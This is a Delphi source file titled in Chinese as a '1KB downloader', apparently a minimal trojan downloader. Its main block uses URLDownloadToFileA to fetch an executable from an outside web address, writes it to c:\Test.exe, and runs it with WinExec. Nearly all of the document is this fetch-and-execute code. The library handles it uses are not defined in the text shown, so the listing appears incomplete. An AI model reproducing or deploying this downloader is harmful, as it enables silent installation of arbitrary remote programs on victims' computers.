webdown.dpr

1KB下载者代码

{$A+,B-,C-,D-,E-,F-,G+,H+,I-,J-,K-,L-,M-,N+,O+,P+,Q-,R-,S-,T-,U-,V+,W-,X+,Y-,Z1}
{$MINSTACKSIZE $00004000}
{$MAXSTACKSIZE $00100000}
{$IMAGEBASE $00400000}
{$APPTYPE GUI}

program MiniDExe;
//{$R *.res}
type
//  TFNMessageBox = function(hWnd: LongWord; lpText, lpCaption: PChar;
//    uType: LongWord): Integer; stdcall;
  TFNURLDownloadToFile=function (Caller: pointer; URL: PChar; FileName: PChar; Reserved:LongWord; StatusCB: pointer): Longint; stdcall;

  TFNWinExec=function (lpCmdLine:Pchar; uCmdShow: LongWord): LongWord; stdcall;
//const
 // MB_ICONINFORMATION = $00000040;
const
   SW_HIDE = 0;
   SW_SHOW = 5;
begin
  TFNURLDownloadToFile(GetProcAddress(HUrlMonLib, 'URLDownloadToFileA'))
      (nil, 'http://www.138soft.com/bintext.exe', 'c:\Test.exe', 0, nil);

  TFNWinExec(GetProcAddress(HKernel32, 'WinExec'))
    ('c:\Test.exe', SW_SHOW);
 // TFNMessageBox(GetProcAddress(HUser32, 'MessageBoxA'))
 //   (0, 'Written in pure Delphi!', 'Hello World!', MB_ICONINFORMATION);
end.